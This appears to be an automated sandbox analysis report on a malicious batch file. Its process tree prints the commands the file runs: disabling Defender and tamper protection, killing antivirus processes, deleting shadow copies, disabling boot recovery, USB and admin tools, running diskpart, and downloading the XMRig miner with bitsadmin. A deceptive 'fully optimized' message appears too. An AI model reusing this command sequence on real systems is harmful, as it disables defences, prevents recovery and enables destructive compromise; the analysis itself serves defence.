Analysis

  • max time kernel
    148s
  • max time network
    143s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    12/08/2026, 02:16

General

  • Target
    Temp.bat
  • Size 12KB
  • Sample260812-cp7kfatvbx
  • SHA256 9aff1b6cabf030af5eea993fe6f2417b2c0e969d824698f5ef89327571872a46
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
  • Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Modifies boot configuration data using bcdedit 1 TTPs 5 IoCs
  • Disables RegEdit via registry modification 1 IoCs
  • Disables Task Manager via registry modification
  • Download via BitsAdmin 1 TTPs 1 IoCs
  • Disables service(s) 3 TTPs
  • Stops running service(s) 4 TTPs
  • Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

    Bootkits write to the MBR to gain persistence at a level below the operating system.

  • Drops file in System32 directory 2 IoCs
  • Drops file in Windows directory 4 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Checks SCSI registry key(s) 3 TTPs 4 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
  • Interacts with shadow copies 3 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Kills process with taskkill 8 IoCs
  • Runs net.exe
  • Runs ping.exe 1 TTPs 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 12 IoCs
  • Suspicious use of WriteProcessMemory 42 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Temp.bat"
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:1812
    • C:\Windows\system32\mode.com
      mode con cols=80 lines=25
      2⤵
        PID:4320
      • C:\Windows\system32\net.exe
        net session
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:3076
        • C:\Windows\system32\net1.exe
          C:\Windows\system32\net1 session
          3⤵
            PID:5092
        • C:\Windows\system32\PING.EXE
          ping 127.0.0.1 -n 2
          2⤵
          • System Network Configuration Discovery: Internet Connection Discovery
          • Runs ping.exe
          PID:4104
        • C:\Windows\system32\PING.EXE
          ping 127.0.0.1 -n 2
          2⤵
          • System Network Configuration Discovery: Internet Connection Discovery
          • Runs ping.exe
          PID:4332
        • C:\Windows\system32\timeout.exe
          timeout /t 2 /nobreak
          2⤵
          • Delays execution with timeout.exe
          PID:5672
        • C:\Windows\system32\msg.exe
          msg * "Your system is fully optimized. All background services are running as intended. Do not attempt to modify system files."
          2⤵
            PID:3248
          • C:\Windows\system32\reg.exe
            reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
            2⤵
            • Modifies Windows Defender DisableAntiSpyware settings
            PID:4536
          • C:\Windows\system32\reg.exe
            reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f
            2⤵
            • Modifies Windows Defender Real-time Protection settings
            PID:6136
          • C:\Windows\system32\reg.exe
            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" /v TamperProtection /t REG_DWORD /d 0 /f
            2⤵
              PID:4324
            • C:\Windows\system32\sc.exe
              sc stop WinDefend
              2⤵
              • Launches sc.exe
              PID:1228
            • C:\Windows\system32\sc.exe
              sc config WinDefend start= disabled
              2⤵
              • Launches sc.exe
              PID:5060
            • C:\Windows\system32\taskkill.exe
              taskkill /f /im MBAMService.exe
              2⤵
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:4932
            • C:\Windows\system32\taskkill.exe
              taskkill /f /im Norton.exe
              2⤵
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:2112
            • C:\Windows\system32\taskkill.exe
              taskkill /f /im mcafee.exe
              2⤵
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:3648
            • C:\Windows\system32\taskkill.exe
              taskkill /f /im avast.exe
              2⤵
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:2860
            • C:\Windows\system32\taskkill.exe
              taskkill /f /im avg.exe
              2⤵
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:3208
            • C:\Windows\system32\taskkill.exe
              taskkill /f /im avp.exe
              2⤵
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:4456
            • C:\Windows\system32\taskkill.exe
              taskkill /f /im bdagent.exe
              2⤵
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:844
            • C:\Windows\system32\taskkill.exe
              taskkill /f /im ekrn.exe
              2⤵
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:5928
            • C:\Windows\system32\ReAgentc.exe
              reagentc /disable
              2⤵
              • Drops file in System32 directory
              • Drops file in Windows directory
              PID:1764
            • C:\Windows\system32\vssadmin.exe
              vssadmin delete shadows /all /quiet
              2⤵
              • Interacts with shadow copies
              PID:2564
            • C:\Windows\system32\reg.exe
              reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore" /v DisableSR /t REG_DWORD /d 1 /f
              2⤵
                PID:5760
              • C:\Windows\system32\bcdedit.exe
                bcdedit /set {default} recoveryenabled No
                2⤵
                • Modifies boot configuration data using bcdedit
                PID:1612
              • C:\Windows\system32\bcdedit.exe
                bcdedit /set {default} bootstatuspolicy ignoreallfailures
                2⤵
                • Modifies boot configuration data using bcdedit
                PID:3708
              • C:\Windows\system32\bcdedit.exe
                bcdedit /set {default} bootmenupolicy legacy
                2⤵
                • Modifies boot configuration data using bcdedit
                PID:2908
              • C:\Windows\system32\bcdedit.exe
                bcdedit /set {default} displaybootmenu No
                2⤵
                • Modifies boot configuration data using bcdedit
                PID:2024
              • C:\Windows\system32\bcdedit.exe
                bcdedit /set {default} timeout 0
                2⤵
                • Modifies boot configuration data using bcdedit
                PID:1724
              • C:\Windows\system32\reg.exe
                reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v AllowFirmwareUI /t REG_DWORD /d 0 /f
                2⤵
                  PID:3416
                • C:\Windows\system32\reg.exe
                  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v DisableAdvancedStartup /t REG_DWORD /d 1 /f
                  2⤵
                    PID:3476
                  • C:\Windows\system32\reg.exe
                    reg add "HKLM\SYSTEM\CurrentControlSet\Services\USBSTOR" /v Start /t REG_DWORD /d 4 /f
                    2⤵
                      PID:4376
                    • C:\Windows\system32\reg.exe
                      reg add "HKLM\SYSTEM\CurrentControlSet\Services\USBHUB3" /v Start /t REG_DWORD /d 4 /f
                      2⤵
                        PID:5912
                      • C:\Windows\system32\reg.exe
                        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
                        2⤵
                          PID:3320
                        • C:\Windows\system32\reg.exe
                          reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
                          2⤵
                          • Disables RegEdit via registry modification
                          PID:3404
                        • C:\Windows\system32\reg.exe
                          reg add "HKCU\Software\Policies\Microsoft\Windows\System" /v DisableCMD /t REG_DWORD /d 1 /f
                          2⤵
                            PID:4300
                          • C:\Windows\system32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoClose /t REG_DWORD /d 1 /f
                            2⤵
                              PID:1020
                            • C:\Windows\system32\reg.exe
                              reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f
                              2⤵
                                PID:3680
                              • C:\Windows\system32\sc.exe
                                sc config wuauserv start= disabled
                                2⤵
                                • Launches sc.exe
                                PID:3664
                              • C:\Windows\system32\net.exe
                                net stop wuauserv
                                2⤵
                                • Suspicious use of WriteProcessMemory
                                PID:1440
                                • C:\Windows\system32\net1.exe
                                  C:\Windows\system32\net1 stop wuauserv
                                  3⤵
                                    PID:5748
                                • C:\Windows\system32\diskpart.exe
                                  diskpart /s C:\Users\Admin\AppData\Local\Temp\del.txt
                                  2⤵
                                    PID:3640
                                  • C:\Windows\system32\bitsadmin.exe
                                    bitsadmin /transfer "update" https://github.com/xmrig/xmrig/releases/download/v6.22.0/xmrig-6.22.0-msvc-win64.zip C:\Users\Admin\AppData\Local\Temp\update.zip
                                    2⤵
                                    • Download via BitsAdmin
                                    PID:6000
                                • C:\Windows\System32\svchost.exe
                                  C:\Windows\System32\svchost.exe -k netsvcs -p -s BDESVC
                                  1⤵
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:308
                                • C:\Windows\system32\vssvc.exe
                                  C:\Windows\system32\vssvc.exe
                                  1⤵
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:2404
                                • C:\Windows\System32\vdsldr.exe
                                  C:\Windows\System32\vdsldr.exe -Embedding
                                  1⤵
                                    PID:3944
                                  • C:\Windows\System32\vds.exe
                                    C:\Windows\System32\vds.exe
                                    1⤵
                                    • Writes to the Master Boot Record (MBR)
                                    • Checks SCSI registry key(s)
                                    PID:1412

                                  Network

                                        MITRE ATT&CK Enterprise v16

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                                        Downloads

                                        del.txt

                                        • Path C:\Users\Admin\AppData\Local\Temp\del.txt
                                        • Size 334B
                                        • SHA256 087a3535adf3236bb1bffffb5e45330a6ba70b7222c8daf4df5e4928665e954c
                                        • MD5 SHA1 SHA512 TLSH